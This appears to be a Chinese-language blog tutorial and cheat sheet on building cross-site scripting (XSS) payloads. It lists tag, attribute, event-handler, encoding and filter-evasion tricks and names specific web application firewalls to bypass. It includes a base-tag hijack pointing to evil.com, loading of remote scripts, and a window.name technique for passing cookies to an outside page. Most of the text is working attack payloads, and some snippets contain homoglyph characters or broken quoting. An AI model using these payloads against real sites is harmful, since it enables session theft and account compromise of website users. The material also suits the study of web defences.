XSS的构造技巧

绕过流程:首先应该看页面的源码,提交的地方能否插入标签,如果不能插入标签,看是什么样的标签,比方说是个<input的标签,就去查一下<input的标签有什么可以xss的属性,然后在构造xss测试。因为无法看到后台代码,所以无法知道采用了什么样的过滤规则,真正被提交到服务器的是什么样的代码,这就需要自己测试了。

练手网站:
https://alf.nu/alert1
http://prompt.ml/0

例子

https://www.secpulse.com/archives/47696.html

如搜狐的存储型XSS,在疑似有xss store的漏洞页面中,先看源码发现,使用了input的标签,并且存到value里,这个时候就可以去查一下input的标签有没有可以xss的属性啦,例如像name这种属性就非常好,可以编码。这样就可以通过input的属性构造xss了,构造失败了在通过各种编码绕过的方法尝试,有时会也可能只是屏蔽了alert,这时候应该试试prompt



正片

参考:

http://www.freebuf.com/articles/web/20282.html

https://bbs.ichunqiu.com/thread-30896-1-6.html

1.绕过magic_quotes_gpc=ON

magic_quotes_gpc 是php用来把单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线的函数。这些转义是必须的,当magic_quotes_gpc=ON是打开。这使得<script>alert("xss")</script>
变成<script>alert(\"xss\")</script> 因而不会弹出警告宽。
然而只要没有过滤<script>标签,就可以通过js函数string.fromCharCode方法把 alert("xss")进行编码

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> ,string.fromCharCode只是把ascii码转换为字符。

2.各种标签以及某些常用属性

插入标签:考虑标签以及尖括号是否被屏蔽,如果用了htnlspecialchar这样的函数,显然插入标签是不适合的

插入属性:根据实际情况考虑插入什么属性可以绕过屏蔽机制,比如屏蔽了双引号就可以在input的name中插入javascript,屏蔽了圆括号就可以在能够编码的属性中插入,一下在各个标签中,会举出可以使用的属性

1.<script>需要尖括号,双引号,"/"

属性描述
asyncasync规定异步执行脚本(仅适用于外部脚本)。
charsetcharset规定在外部脚本文件中使用的字符编码。
deferdefer规定是否对脚本执行进行延迟,直到页面加载为止。
languagescript不赞成使用。规定脚本语言。请使用 type 属性代替它。
srcURL规定外部脚本文件的 URL。
  

构造:

<script>alert(1)</script>

<script>prompt(1)</script>

<script src="http://xx.js"></script>

<scRiPt>alert(1);</scrIPt>

<scr<script>ipt>alert(1)</scr</script>ipt>



2.<a   需要尖括号,双引号,"/" 

属性描述
   
hrefURL规定链接指向的页面的 URL。

构造

<a href=”javascript:alert(1)”>dianji</a>  //href能够编码,如果过滤了双引号和圆括号,则可以就行编码绕过

"><a href=javascript:alert(1)>   //大小写绕过
"><a Href=javascript:alert(1)>
"><a hrehreff=javascrscriptipt:alert(1)>

3.<img、需要尖括号,双引号,"/" ,通过onerror事件就行驱动

属性描述
alttext规定图像的替代文本。
srcURL规定显示图像的 URL。

构造:

<img src=test.jpg οnerrοr=javascript:alert(1);>

<video src=test.mp4 οnerrοr=javascript:alert(‘1’);>  //同理

<audio src=test.mp3 οnerrοr=javascript:alert(‘1’);>

通过一张空白的照片,再通onerror事件触发,无法编码圆括号.



4.<iframe 需要尖括号,双引号

缺少X-frame选项通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞

属性描述
   
   
nameframe_name规定 iframe 的名称。
   
srcURL规定在 iframe 中显示的文档的 URL。
   

<iframe src="javascript:alert(2)">


5.<form 需要尖括号,双引号

属性描述
   
actionURL规定当提交表单时向何处发送表单数据。
   
   
  于发送 form-data 的 HTTP 方法。
nameform_name规定表单的名称。

构造:<form action="Javascript:alert(1)"><input type=submit> // action可以编码绕过双引号,括号


6.<input 

name中可以编码绕过双引号,但是不能执行javascript,在location中可以执行代码,因此把this.name交给location

构造:

<input  name=javasCript:alert%281%29 autofocus οnfοcus=location=this.name >


7.style属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div>      // Works upto IE7.
    <style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7 百度蠕虫

8.background

<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6,samy蠕虫利用了background属性

9.location

 <a οnmοuseοver=location=’javascript:alert(1)>click

    <body οnfοcus="location='javascrpt:alert(1) >123

10.data

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

    <object/data=//goo.gl/nlX0P?

11.code

<applet code="javascript:confirm(document.cookie);"> // Firefox Only

    <embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>

12.<base标签

在base标签中主要指定了href就可以通过远程服务器是哪个伪造图片、链接或脚本,劫持当前页面中的所有使用"相对路径"的标签

如,当在其中插入了base标签以后,在把远程服务器上的恶意代码的相对路径改为与页面代码中的一致时,页面中的标签将被劫持.

<base href="http://evil.com"/>
........
<script src="x.js"></script>
........
<img src="y.jpg"/>
....
<a href="auth.do">auth</a>

3.JavaScript事件

当某些标签或者属性被过滤时,不妨使用js事件来触发xss

    <svg/οnlοad=prompt(1);>
    <marquee/onstart=confirm(2)>/
    <body οnlοad=prompt(1);>
    <select autofocus οnfοcus=alert(1)>
    <textarea autofocus οnfοcus=alert(1)>
    <keygen autofocus οnfοcus=alert(1)>
    <video><source οnerrοr="javascript:alert(1)">

4.();:被过滤

 <svg><script>alert&#40/1/&#41</script>    // Works With All Browsers, "( " is  &#40  , " )"  is &#41

   把();进行编码,这里的编码是urlcode,下面将会讲到可以编码的属性有哪些。你可以尝试将这段代码在文章中通过csdn的代码插入功能插入,urlcode将会自动被翻译。


5.编码

JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode),如果是穿过url的,还可进行url编码绕过

href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64


6.基于上下文的闭合绕过



<input value="XSStest" type=text>
此时我们可以做的是把input的标签闭合,输入><imgsrc=x  οnerrοr=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusοnfοcus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本


<script>
Var
x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,例如:


“;alert(1)//


<a

href=”Userinput”>Click</a>

可以使用javascript:alert(1)//直接执行<ahref=”javascript:alert(1)//”>Click</a>

7.浏览器bug



    
<scri%00pt>alert(1);</scri%00pt>


    <scri\x00pt>alert(1);</scri%00pt>
    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
 空字节最长用来绕过mod_security防火墙,空字节只适用php5.3.8以上版本


     <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
    <marquee/onstart=confirm(2)>
WEB KNIGHT绕过


<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
    “/><marquee  onfinish=confirm(123)>a</marquee>
F5 BIG IP ASM and Palo ALTO绕过


<svg/οnlοad=prompt(1);> 
    <isindex action="javas&tab;cript:alert(1)" type=image>
    <marquee/onstart=confirm(2)>
Dot Defender绕过


9.在某些能插入js代码的属性中,插入<script 标签 ,调用远程恶意代码

s=document.createElement(script)  s.src="http://xxx.js"; document.body.appendChild(s)

这样就可以在内部引入一个script标签

10.绕过长度限制

这里只说一个window.name,当遇到实际情况是在查。window.name可以实现跨域的传输,意味着我们可以构造一个超级短的payload,通过给window.name赋值,然后在让window.name来传输这个值。

例如下面两端代码分别为 www.a.com/test.html   www.b.com/test.html

会发现在各自的网页都输出了网页的自己的domain,但是window.name输出的确实test,这意味着window.name的值确实实现了跨域传输。

<body>
<script>
window.name=test;
alert(document.domain+"   "+window.name);
window.location="http://www.b.com/test.html;
</script>
</body>
<body>
<script>
alert("document.domain+"  "+window.name);
</script>
</body>

使用例子,通过在存在xss网页中调用如下代码,就可以通过window.name把cookie传给指定网站的windw.name

<script>
window.name="alert(document.cookie)";
location.href="http://mypage.com/xssed.php;
</script>

在xss站点中执行以下代码,就可以调用以上的代码了,长度只有11字节。

eval(name);


11.总结

xss的构造方式多种多样,只需要对技术的方向有大致了解即可,例如知道可编码绕过。在遇到实际问题时,结合实际问题中遇到的标签,在去详细了解该标签的可操控范围,然后去了解该网页使用的服务器,防火墙等。这样就能在大方向上了解大致的过滤机制是什么,才能构造出合适的xss,当然面前来说构造一个xss还是有一定的难度,一般的反射型xss危害已经没有那么大了,在加上浏览器对xss也有一定的防护功能,所有xss的危害已经不像以前那么大。但是存储型的XSS还是要给予重视的。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值